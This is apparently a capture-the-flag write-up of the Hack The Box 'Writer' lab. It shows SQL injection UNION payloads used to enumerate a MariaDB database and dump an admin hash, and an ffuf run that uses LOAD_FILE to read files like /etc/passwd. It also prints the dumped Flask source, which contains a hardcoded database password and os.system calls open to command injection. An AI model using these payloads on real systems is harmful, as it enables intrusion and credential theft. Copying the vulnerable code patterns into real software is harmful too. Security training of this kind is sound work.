SQL Injection


As discussed in the web enumeration, the SQL injection vulnerability is present in the authentication page at /administrative Although it initially appeared that authentication mechanism alone was affected by the vulnerability, the later assessment suggested that there might be more to be done as it seems to be displaying what the backend SQL fetches.

' UNION SELECT 1,2,3,4,5,6-- - The 2nd column is the username in the SQL query

Version, User, DB


' UNION SELECT 1,@@VERSION,3,4,5,6-- - The backend database is 10.3.29-MariaDB-0ubtu0.20.04.1

' UNION SELECT 1,USER(),3,4,5,6-- - The signed-in user is admin@localhost

' UNION SELECT 1,DATABASE(),3,4,5,6-- - The current DB is writer

' UNION SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata-- - There are 2 DBs within the instance

  • information_schema
  • writer

Tables


' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='writer'-- - There are a total of 3 tables within the writer DB

  • site
  • stories
  • users

These are all corresponding to resources at /dashboard Since I am looking for a credential, I will check the writer.users table

Columns


' UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='users' AND table_schema='writer'-- - There are a total of 6 columns within the writer.users tables.

  • id
  • username
  • password
  • email
  • status
  • date_created I will grab the credential

Credential Extraction


' union select 1,group_concat(username,":",password),3,4,5,6 FROM writer.users-- - the extracted credential is admin:118e48794631a9612484ca8b55f622d0

Hashcat was unable to crack the password hash

File Read


File read can be done through SQLi using the LOAD_FILE() function as long as the signed-in user has sufficient privileges

I tried reading the SSH files for both users but was not successful File Write doesn’t appear to be possible

SQLi File Read through Fuzzing


┌──(kali㉿kali)-[~/archive/htb/labs/writer]
└─$ ffuf -x post -c -w /usr/share/wordlists/auto_wordlists/wordlists/file_inclusion_linux.txt -u http://writer.htb/administrative -H 'Content-Type: application/x-www-form-urlencoded' -d "uname=' UNION SELECT 1,LOAD_FILE('FUZZ'),3,4,5,6-- -&password=blahblah" -fs 1571 -fw 280
________________________________________________
 
 :: Method           : POST
 :: URL              : http://writer.htb/administrative
 :: Wordlist         : FUZZ: /usr/share/wordlists/Auto_Wordlists/wordlists/file_inclusion_linux.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : uname=' UNION SELECT 1,LOAD_FILE('FUZZ'),3,4,5,6-- -&password=blahblah
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 1571
 :: Filter           : Response words: 280
________________________________________________
 
[...REDACTED...]
 
/boot/grub/grub.cfg     [status: 200, Size: 13434, Words: 1421, Lines: 345, Duration: 120ms]
/etc/apache2/apache2.conf [status: 200, Size: 8758, Words: 1221, Lines: 260, Duration: 101ms]
/etc/adduser.conf       [status: 200, Size: 4449, Words: 681, Lines: 121, Duration: 139ms]
/etc/aliases            [status: 200, Size: 1342, Words: 290, Lines: 35, Duration: 129ms]
/etc/apache2/mods-available/autoindex.conf [status: 200, Size: 4741, Words: 592, Lines: 129, Duration: 95ms]
/etc/apache2/mods-available/deflate.conf [status: 200, Size: 1710, Words: 302, Lines: 43, Duration: 95ms]
/etc/apache2/mods-available/dir.conf [status: 200, Size: 1460, Words: 294, Lines: 38, Duration: 94ms]
/etc/apache2/mods-available/mime.conf [status: 200, Size: 9099, Words: 1222, Lines: 284, Duration: 95ms]
/etc/apache2/mods-available/proxy.conf [status: 200, Size: 2193, Words: 403, Lines: 60, Duration: 95ms]
/etc/apache2/mods-available/setenvif.conf [status: 200, Size: 2699, Words: 392, Lines: 65, Duration: 98ms]
/etc/apache2/mods-enabled/deflate.conf [status: 200, Size: 1710, Words: 302, Lines: 43, Duration: 96ms]
/etc/apache2/mods-enabled/alias.conf [status: 200, Size: 2194, Words: 394, Lines: 57, Duration: 101ms]
/etc/apache2/mods-available/ssl.conf [status: 200, Size: 4421, Words: 710, Lines: 118, Duration: 103ms]
/etc/apache2/mods-enabled/dir.conf [status: 200, Size: 1460, Words: 294, Lines: 38, Duration: 97ms]
/etc/apache2/mods-enabled/mime.conf [status: 200, Size: 9099, Words: 1222, Lines: 284, Duration: 95ms]
/etc/apache2/mods-enabled/negotiation.conf [status: 200, Size: 2027, Words: 388, Lines: 53, Duration: 98ms]
/etc/apache2/mods-enabled/status.conf [status: 200, Size: 2084, Words: 361, Lines: 62, Duration: 95ms]
/etc/apache2/ports.conf [status: 200, Size: 1635, Words: 315, Lines: 48, Duration: 98ms]
/etc/apache2/sites-enabled/000-default.conf [status: 200, Size: 2989, Words: 538, Lines: 80, Duration: 113ms]
/etc/apt/sources.list   [status: 200, Size: 4080, Words: 560, Lines: 82, Duration: 110ms]
/etc/bash.bashrc        [status: 200, Size: 3825, Words: 678, Lines: 104, Duration: 111ms]
/etc/ca-certificates.conf.dpkg-old [status: 200, Size: 7804, Words: 343, Lines: 192, Duration: 109ms]
/etc/ca-certificates.conf [status: 200, Size: 7868, Words: 343, Lines: 193, Duration: 113ms]
/etc/crontab            [status: 200, Size: 2373, Words: 460, Lines: 55, Duration: 97ms]
/etc/crypttab           [status: 200, Size: 1369, Words: 284, Lines: 34, Duration: 95ms]
/etc/dhcp/dhclient.conf [status: 200, Size: 3094, Words: 447, Lines: 87, Duration: 100ms]
/etc/debconf.conf       [status: 200, Size: 4276, Words: 690, Lines: 116, Duration: 119ms]
/etc/deluser.conf       [status: 200, Size: 1915, Words: 365, Lines: 53, Duration: 112ms]
/etc/fstab              [status: 200, Size: 2002, Words: 363, Lines: 45, Duration: 97ms]
/etc/default/grub       [status: 200, Size: 2787, Words: 429, Lines: 66, Duration: 145ms]
/etc/host.conf          [status: 200, Size: 1391, Words: 295, Lines: 36, Duration: 98ms]
/etc/hdparm.conf        [status: 200, Size: 6443, Words: 1036, Lines: 175, Duration: 100ms]
/etc/hosts.allow        [status: 200, Size: 1714, Words: 361, Lines: 43, Duration: 110ms]
/etc/hosts.deny         [status: 200, Size: 2018, Words: 407, Lines: 50, Duration: 108ms]
/etc/hosts              [status: 200, Size: 1512, Words: 301, Lines: 42, Duration: 116ms]
/etc/init.d/apache2     [status: 200, Size: 10427, Words: 1779, Lines: 388, Duration: 116ms]
/etc/issue.net          [status: 200, Size: 1310, Words: 282, Lines: 34, Duration: 108ms]
/etc/ld.so.conf         [status: 200, Size: 1325, Words: 281, Lines: 35, Duration: 106ms]
/etc/issue              [status: 200, Size: 1317, Words: 284, Lines: 35, Duration: 115ms]
/etc/ldap/ldap.conf     [status: 200, Size: 1623, Words: 302, Lines: 50, Duration: 108ms]
/etc/logrotate.conf     [status: 200, Size: 1832, Words: 356, Lines: 57, Duration: 108ms]
/etc/login.defs         [status: 200, Size: 12106, Words: 1917, Lines: 374, Duration: 121ms]
/etc/lsb-release        [status: 200, Size: 1403, Words: 282, Lines: 37, Duration: 99ms]
/etc/ltrace.conf        [status: 200, Size: 16158, Words: 1290, Lines: 576, Duration: 99ms]
/etc/manpath.config     [status: 200, Size: 6544, Words: 809, Lines: 165, Duration: 100ms]
/etc/modules            [status: 200, Size: 1494, Words: 312, Lines: 38, Duration: 103ms]
/etc/mysql/my.cnf       [status: 200, Size: 2295, Words: 402, Lines: 62, Duration: 100ms]
/etc/networks           [status: 200, Size: 1382, Words: 290, Lines: 35, Duration: 105ms]
/etc/nsswitch.conf      [status: 200, Size: 1821, Words: 410, Lines: 53, Duration: 96ms]
/etc/mysql/my.cnf%00    [status: 200, Size: 2295, Words: 402, Lines: 62, Duration: 112ms]
/etc/network/interfaces [status: 200, Size: 1446, Words: 292, Lines: 42, Duration: 104ms]
/etc/os-release         [status: 200, Size: 1737, Words: 285, Lines: 45, Duration: 96ms]
/etc/pam.conf           [status: 200, Size: 1843, Words: 344, Lines: 48, Duration: 95ms]
/etc/passwd             [status: 200, Size: 3332, Words: 298, Lines: 71, Duration: 97ms]
/etc/passwd-            [status: 200, Size: 3317, Words: 297, Lines: 71, Duration: 95ms]
/etc/passwd%00          [status: 200, Size: 3332, Words: 298, Lines: 71, Duration: 103ms]
/etc/profile            [status: 200, Size: 1944, Words: 424, Lines: 60, Duration: 96ms]
/etc/resolv.conf        [status: 200, Size: 2016, Words: 377, Lines: 51, Duration: 97ms]
/etc/rpc                [status: 200, Size: 2178, Words: 315, Lines: 73, Duration: 97ms]
/etc/samba/smb.conf     [status: 200, Size: 10623, Words: 1787, Lines: 281, Duration: 97ms]
/etc/security/access.conf [status: 200, Size: 6075, Words: 914, Lines: 155, Duration: 104ms]
/etc/security/limits.conf [status: 200, Size: 3540, Words: 1026, Lines: 89, Duration: 99ms]
/etc/security/namespace.conf [status: 200, Size: 2735, Words: 498, Lines: 61, Duration: 97ms]
/etc/security/group.conf [status: 200, Size: 5074, Words: 969, Lines: 139, Duration: 112ms]
/etc/security/pam_env.conf [status: 200, Size: 4335, Words: 708, Lines: 106, Duration: 96ms]
/etc/security/time.conf [status: 200, Size: 3566, Words: 621, Lines: 98, Duration: 99ms]
/etc/security/sepermit.conf [status: 200, Size: 1714, Words: 385, Lines: 44, Duration: 97ms]
/etc/ssh/ssh_config     [status: 200, Size: 2894, Words: 524, Lines: 85, Duration: 95ms]
/etc/ssh/ssh_host_dsa_key.pub [status: 200, Size: 1892, Words: 282, Lines: 34, Duration: 93ms]
/etc/ssh/sshd_config    [status: 200, Size: 4627, Words: 575, Lines: 157, Duration: 96ms]
/etc/sysctl.conf        [status: 200, Size: 3645, Words: 529, Lines: 101, Duration: 95ms]
/etc/sysctl.d/10-console-messages.conf [status: 200, Size: 1368, Words: 292, Lines: 36, Duration: 97ms]
/etc/sysctl.d/10-network-security.conf [status: 200, Size: 1449, Words: 293, Lines: 39, Duration: 96ms]
/usr/share/adduser/adduser.conf [status: 200, Size: 4449, Words: 681, Lines: 121, Duration: 100ms]
/usr/share/pixmaps/debian-logo.png [status: 200, Size: 2917, Words: 285, Lines: 37, Duration: 99ms]
/var/log/dmesg          [status: 200, Size: 129216, Words: 21323, Lines: 1695, Duration: 111ms]
/var/log/wtmp           [status: 200, Size: 59803, Words: 283, Lines: 76, Duration: 101ms]
:: Progress: [2290/2290] :: Job [1/1] :: 357 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

Performing SQLi through ffuf to conduct arbitrary file read The -fs 1571 -fw 280 arguments were provided to filter out the default page and incorrect response.

While ffuf returned so many readable files in the target system, I will check the apache2 related files to get an idea of how the web server is configured The following 2 files seems most promising

  • /etc/apache2/apache2.conf
  • /etc/apache2/sites-enabled/000-default.conf

apache2.conf


Since the file returned with the HTML tags with many comments. I would need to process it for better review I will first get rid of the HTML tags by decoding the content and filter out those lines starting with the # character

┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ grep -v '^#' apache2.conf                               
DefaultRuntimeDir ${APACHE_RUN_DIR}
PidFile ${APACHE_PID_FILE}
Timeout 30
KeepAlive On
MaxKeepAliveRequests 0
KeepAliveTimeout 5
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
HostnameLookups Off
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
Include ports.conf
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>
<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>
<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>
AccessFileName .htaccess
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
IncludeOptional conf-enabled/*.conf
IncludeOptional sites-enabled/*.conf

The apache2.conf file doesn’t seems all that helpful

000-default.conf


Same thing here, I will process the returned data for review

┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ cat  000-default.conf   
# Virtual host configuration for writer.htb domain
<virtualhost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
 
# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<virtualhost 127.0.0.1:8080>
#	ServerName dev.writer.htb
#	ServerAdmin admin@writer.htb
#
        # Collect static for the writer2_project/writer_web/templates
#	Alias /static /var/www/writer2_project/static
#	<Directory /var/www/writer2_project/static>
#		Require all granted
#	</Directory>
#
#	<Directory /var/www/writer2_project/writerv2>
#		<Files wsgi.py>
#			Require all granted
#		</Files>
#	</Directory>
#
#	WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
#	WSGIProcessGroup writer2_project
#	WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
#        ErrorLog ${APACHE_LOG_DIR}/error.log
#        LogLevel warn
#        CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

This time, I didn’t filter out those comments because they contains some important information

According to the comments, it seems that there is another virtual host, dev.writer.htb, under development While it is DISABLED therefore it can NOT be accessed, it is still important to notes that those files might be present

Additionally, the current virtual host, writer.htb, is configured to be hosted from the /var/www/writer.htb directory along with the /var/www/writer.htb/writer.wsgi file presence of the wsgi(Web Server Gateway Interface) file indicates that the target web server is hosting a Python application

writer.wsgi


Although it is inconvenient to see due to the HTML tagging, it is clear that the /var/www/writer.htb/writer.wsgi file points to the __init__.py file for importing The “app folder” is likely the /var/www/write.htb/writer directory

__init__.py


While the file certainly returned, it needs processing

from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib
 
app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')
 
#Define connection for database
def connections():
    try:
        connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
        return connector
    except mysql.connector.error as err:
        if err.errno == errorcode.er_access_denied_error:
            return ("Something is wrong with your db user name or password!")
        elif err.errno == errorcode.er_bad_db_error:
            return ("Database does not exist")
        else:
            return ("Another exception, returning!")
    else:
        print ('Connection to DB is ready!')
 
#Define homepage
@app.route('/')
def home_page():
    try:
        connector = connections()
    except mysql.connector.error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('blog/blog.html', results=results)
 
#Define about page
@app.route('/about')
def about():
    return render_template('blog/about.html')
 
#Define contact page
@app.route('/contact')
def contact():
    return render_template('blog/contact.html')
 
#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
    try:
        connector = connections()
    except mysql.connector.error as err:
            return ("Database error")
    cursor = connector.cursor()
    cursor.execute("select * from stories where id = %(id)s;", {'id': id})
    results = cursor.fetchall()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    stories = cursor.fetchall()
    return render_template('blog/blog-single.html', results=results, stories=stories)
 
#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
    if not ('user' in session):
        return redirect('/')
    return render_template('dashboard.html')
 
#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "Select * From stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('stories.html', results=results)
 
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.error as err:
            return ("Database error")
    if request.method == "post":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
 
        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except pil.unidentifiedimageerror:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
        author = request.form.get('author')
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("insert into stories values (null,%(author)s,%(title)s,%(tagline)s,%(content)s,'published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        return render_template('add.html')
 
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.error as err:
            return ("Database error")
    if request.method == "post":
        cursor = connector.cursor()
        cursor.execute("select * from stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
                cursor = connector.cursor()
                cursor.execute("update stories set image = %(image)s where id = %(id)s", {'image':image, 'id':id})
                result = connector.commit()
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                        cursor = connector.cursor()
                        cursor.execute("update stories set image = %(image)s where id = %(id)s", {'image':image, 'id':id})
                        result = connector.commit()
 
                    except pil.unidentifiedimageerror:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('edit.html', error=error, results=results, id=id)
                except:
                    error = "Issue uploading picture"
                    return render_template('edit.html', error=error, results=results, id=id)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("update stories set title = %(title)s, tagline = %(tagline)s, content = %(content)s where id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')
 
    else:
        cursor = connector.cursor()
        cursor.execute("select * from stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('edit.html', results=results, id=id)
 
@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.error as err:
            return ("Database error")
    if request.method == "post":
        cursor = connector.cursor()
        cursor.execute("delete from stories where id = %(id)s;", {'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        cursor = connector.cursor()
        cursor.execute("select * from stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('delete.html', results=results, id=id)
 
#Define user page for dashboard
@app.route('/dashboard/users')
def users():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.error as err:
        return "Database Error"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM users;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('users.html', results=results)
 
#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.error as err:
        return "Database Error!"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM site WHERE id = 1"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('settings.html', results=results)
 
#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
    if ('user' in session):
        return redirect('/dashboard')
    if request.method == "post":
        username = request.form.get('uname')
        password = request.form.get('password')
        password = hashlib.md5(password.encode('utf-8')).hexdigest()
        try:
            connector = connections()
        except mysql.connector.error as err:
            return ("Database error")
        try:
            cursor = connector.cursor()
            sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
            cursor.execute(sql_command)
            results = cursor.fetchall()
            for result in results:
                print("Got result")
            if result and len(result) != 0:
                session['user'] = username
                return render_template('success.html', results=results)
            else:
                error = "Incorrect credentials supplied"
                return render_template('login.html', error=error)
        except:
            error = "Incorrect credentials supplied"
            return render_template('login.html', error=error)
    else:
        return render_template('login.html')
 
@app.route("/logout")
def logout():
    if not ('user' in session):
        return redirect('/')
    session.pop('user')
    return redirect('/')
 
if __name__ == '__main__':
   app.run("0.0.0.0")

while the __init__.py file indeed shows the whole web application, there are a few notable points to make

  • sql connection string; admin:ToughPasswordToCrack
  • Both add_story() and edit_story() function appear to be vulnerable to OS command injection through SSRF